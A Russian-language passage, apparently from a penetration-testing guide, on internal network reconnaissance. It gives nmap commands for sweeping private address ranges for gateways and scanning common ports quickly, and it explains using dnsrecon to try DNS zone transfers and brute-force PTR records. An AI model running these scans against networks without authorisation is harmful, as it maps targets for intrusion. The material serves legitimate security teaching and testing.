nmap -sn -n -oN all_gws.txt 192.168.0-255.1 10.0-255.0-255.1 172.16-31.0.1
Альтернативный способ предыдущему - сканировать всю сеть на типовые порты. Например, 22, 53, 80, 445.
Времязатратнее, но сработает в том случае, если ICMP-пакеты внутри сети ограничены (редкий случай, но все же).
Для всех трех частных диапазонов тебе понадобится примерно 5 часов на сканирование одного порта при рейте 1000 p/s
Можно сделать либо массканом (локальную сеть не просканирует), либо при помощи Nmap с настройками на оптимизацию скорости:
nmap -Pn --privileged --min-rtt-timeout 50ms --initial-rtt-timeout 300ms --max-retries 2 --host-timeout 15m -p T:80,22 10.0.0.0/8
Если все же во время поисков портов удалось найти какой-то DNS сервер (или он прилетел по DHCP), то хватаем https://github.com/darkoperator/dnsrecon и используем его для:
- Попытки выгрузки зоны (можно взять либо из домена поиска в DHCP, либо из имен компьютеров в локальной сети):
dns -d <domain> -t axfr
- Перебора PTR записей при помощи следующей команды:
dnsrecon -n <Адрес DNS-сервера> -r 192.168.0.0/16 | 346 |
